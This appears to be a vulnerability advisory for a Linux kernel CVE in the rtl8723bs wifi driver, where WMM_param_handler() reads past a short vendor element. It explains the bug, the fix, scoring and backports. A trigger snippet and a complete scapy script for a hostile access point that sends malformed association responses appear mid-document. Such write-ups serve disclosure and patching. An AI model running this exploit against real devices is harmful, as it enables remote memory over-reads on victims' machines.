# CVE-2026-74650: WMM_param_handler() trusted an OUI match in rtl8723bs

**Patch:** [ae21407350151bddfd4fea7aa39bd0643c0ca9d3](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ae21407350151bddfd4fea7aa39bd0643c0ca9d3) (mainline, landed in 7.2)
**Subsystem:** staging, Realtek 8723BS SDIO wifi driver
**Affected file:** drivers/staging/rtl8723bs/core/rtw_wlan_util.c
**CVE record:** [CVE-2026-74650](https://www.cve.org/CVERecord?id=CVE-2026-74650)
**Introduced in:** 4.12, commit 554c0a3abf216c991c5ebddcdb2c08689ecd290b

## The bug in one sentence

WMM_param_handler() memcpy'd a fixed 18-byte struct out of a vendor information element after its callers had only matched the OUI bytes, never the length.

## OUI is not a length check

The handler reads sizeof(struct WMM_para_element), which is 18 bytes, at pIE->data + 6, so it needs pIE->length to be at least 24, the WLAN_WMM_LEN. None of the callers enforced that. Two of the three call sites matched only the WMM OUI before calling it:

* OnAssocRsp() in rtw_mlme_ext.c matches a 6-byte OUI
* join_cmd_hdl() matches a 4-byte OUI

A vendor-specific element carrying the WMM OUI with a length anywhere from 6 to 23, arriving in an association response or in the IE blob handed to join_cmd_hdl(), passes the OUI check and then drives the memcmp() and memcpy() past the end of the element. Since association responses come from the AP you just tried to join, this is reachable from a remote peer, no authentication required at that stage of the exchange.

The third caller, in rtw_wlan_util.c itself, already guarded the handler with the correct check:

```c
if (pIE->length == WLAN_WMM_LEN)
        WMM_param_handler(...);
```

So the fix was to move that guard into the handler and make every caller safe by construction, matching how the sibling handlers in the same parsing loop (HT_caps_handler(), HT_info_handler(), ERP_IE_handler()) already bound their accesses by pIE->length.

## The fix

```diff
 int WMM_param_handler(struct adapter *padapter, struct ndis_802_11_var_ie *pIE)
 {
+	if (pIE->length != WLAN_WMM_LEN)
+		return false;
+
```

Full patch: [ae2140735015](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ae21407350151bddfd4fea7aa39bd0643c0ca9d3)

## How to trigger it

Be the AP the victim connects to, and put a WMM OUI vendor IE with a short body in the association response. The OUI match at OnAssocRsp() only compares 6 bytes, the handler then memcpy's sizeof(struct WMM_para_element) (18) from pIE->data + 6, needing a 24 byte element that is not there:

```python
# association response IE: vendor specific, WMM OUI 00:50:F2:02:01:01, body length 10
wmm_short = bytes([0xDD, 0x0A]) + bytes.fromhex("0050f2020101") + b"\x00\x00\x00\x00"
# send this inside the assoc response from the hostile AP (hostapd template
# or scapy on a monitor interface) while the victim associates with r8723bs
```

join_cmd_hdl() reaches the same handler through the 4 byte OUI path, so the IE blob handed to a join command works too. Pre-fix the memcpy runs up to 18 bytes past the element end on every association with the crafted response; KASAN shows the over-read, without it the copied WMM parameters are garbage from adjacent heap. Post-fix the handler rejects pIE->length != 24 before touching anything.

## Score and classification

This one is in the unlucky group that never received a CVSS at all: the kernel CNA published no metrics and NVD still lists it as Received. What exists:

* Red Hat: 5.5 MEDIUM, all products Not affected since the staging driver is not shipped (Bugzilla [2521385](https://bugzilla.redhat.com/show_bug.cgi?id=2521385))
* SentinelOne's database carries it tagged as a buffer overflow, Medium
* No CWE from any authoritative source

If you need a number for a report, I would reason from the sibling CVEs in the same driver and same class: a 5.5 to 7.1 range with an adjacent-network vector is the honest bracket. The up to 18-byte over-read is bigger than the one-byte sibling bugs, but it lands in driver-internal state, not in anything echoed back to the attacker.

## Exploit code

The hostile AP answers association with a WMM OUI element that is far too short, and the handler memcpy runs off the element:

```python
#!/usr/bin/env python3
# wmm_short_oob.py: CVE-2026-74650
# sudo python3 wmm_short_oob.py wlan0mon
from scapy.all import (RadioTap, Dot11, Dot11AssoReq, Dot11AssoResp,
                       sniff, sendp, Raw)

IFACE, ATTACK = "wlan0mon", "00:11:22:33:44:55"

# vendor IE 221, WMM OUI 00:50:F2:02:01:01, total body length 10 (< 24)
short_wmm = bytes([0xDD, 0x0A]) + bytes.fromhex("0050f2020101") + b"\x00\x00\x00\x00"

def answer(pkt):
    if pkt.haslayer(Dot11AssoReq) and pkt.addr1 == ATTACK:
        resp = (RadioTap() /
                Dot11(type=0, subtype=1,
                      addr1=pkt.addr2, addr2=ATTACK, addr3=ATTACK) /
                Dot11AssoResp(cap="ESS", status=0) /
                Raw(load=short_wmm))
        sendp(resp, iface=IFACE)

print("answering associations with short WMM elements")
sniff(iface=IFACE, prn=answer, store=0)
```

OnAssocRsp() matches only the 6 byte WMM OUI and calls WMM_param_handler(), which memcpy's sizeof(struct WMM_para_element) (18 bytes) from pIE->data + 6, needing a 24 byte element that the response does not contain. The memcmp and memcpy read up to 18 bytes past the element end on every crafted association. Under KASAN that is an immediate report in WMM_param_handler; without it the victim's WMM state is filled with adjacent heap bytes. Post-fix the handler rejects pIE->length != WLAN_WMM_LEN before touching anything. Public status: no KEV, no public PoC before this note. The one concrete third-party artifact is Oracle erratum [ELSA-2026-500377](https://linux.oracle.com/errata/ELSA-2026-500377.html), rated Important.

## Where the fix shipped

* 5.15.216: [6cdca4c8b64c](https://git.kernel.org/stable/c/6cdca4c8b64c15a3ab9ad7a85f482e9519eadf93)
* 6.1.183: [2bee6f7a0f01](https://git.kernel.org/stable/c/2bee6f7a0f0125238951e31da2e96d06fe359043)
* 6.6.152: [1158b9931207](https://git.kernel.org/stable/c/1158b9931207392d6dd136aa0c4be18893b50fa1)
* 6.12.104: [ce2399717de2](https://git.kernel.org/stable/c/ce2399717de242344880044b91a20a712644fdfb)
* 6.18.45: [e5b7610008f4](https://git.kernel.org/stable/c/e5b7610008f4e6a80c8b071aa77ddbd5e17ea472)
* 7.1.9: [e429c6dfd5d2](https://git.kernel.org/stable/c/e429c6dfd5d2324cd866daaf4c29d5cfe4dea0e4)
* 7.2: [ae2140735015](https://git.kernel.org/stable/c/ae21407350151bddfd4fea7aa39bd0643c0ca9d3)

Debian shipped it through [DSA-6466-1](https://security-tracker.debian.org/tracker/DSA-6466-1), [DLA-4777-1](https://security-tracker.debian.org/tracker/DLA-4777-1) and [DLA-4788-1](https://security-tracker.debian.org/tracker/DLA-4788-1). Ubuntu fixed 22.04 with the rest in progress.

## References

1. [Upstream commit ae2140735015](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ae21407350151bddfd4fea7aa39bd0643c0ca9d3)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026082225-CVE-2026-74650-516c@gregkh/)
3. [NVD record](https://nvd.nist.gov/vuln/detail/CVE-2026-74650)
4. [Oracle erratum ELSA-2026-500377](https://linux.oracle.com/errata/ELSA-2026-500377.html)
5. [Ubuntu tracker](https://ubuntu.com/security/CVE-2026-74650)
